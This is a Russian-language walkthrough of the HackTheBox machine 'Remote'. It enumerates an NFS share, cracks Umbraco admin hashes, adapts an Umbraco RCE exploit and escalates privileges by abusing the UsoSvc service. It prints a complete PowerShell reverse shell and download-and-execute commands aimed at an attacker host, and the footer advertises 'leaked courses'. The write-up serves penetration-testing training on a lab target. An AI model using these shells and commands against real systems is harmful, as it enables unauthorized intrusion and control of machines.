Русский
Русский
English
Статистика
Реклама

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье копаемся в NSF ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.

10.10.10.180 remote.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.



Имеем доступные ресурсы, давайте примонтируем данный ресурс.



И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.



Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.





Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.

Entry Point




Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./









После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:





После этого, еще раз проходимся grepом в поисках строк admin и ssmith. И находим хеши для данных пользователей.





И успешно взламываем пароль администратора.



Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.



USER


Во-первых: укажем учетные данные и хост.



Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.



Как только программа отработает, в tcpdump мы увидим пакеты ICMP.





Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)$stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)$sendback = (iex $data 2>&1 | Out-String )$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()


Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server

Изменим нагрузку.



И выполнив, получим бэкконнект.



На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.



ROOT


Посмотрев информацию о пользователе, замечаем интересную привилегию.



Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.



Давайте используем PowerUp для поиска вектора LPE. Для загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks



И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.

Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1

И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"



И получаем бэкконнект.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Источник: habr.com
К списку статей
Опубликовано: 05.09.2020 18:14:04
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Ctf

Информационная безопасность

Pentest

Pentesting

Ralf_rt

Htb

Red team

Red teaming

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru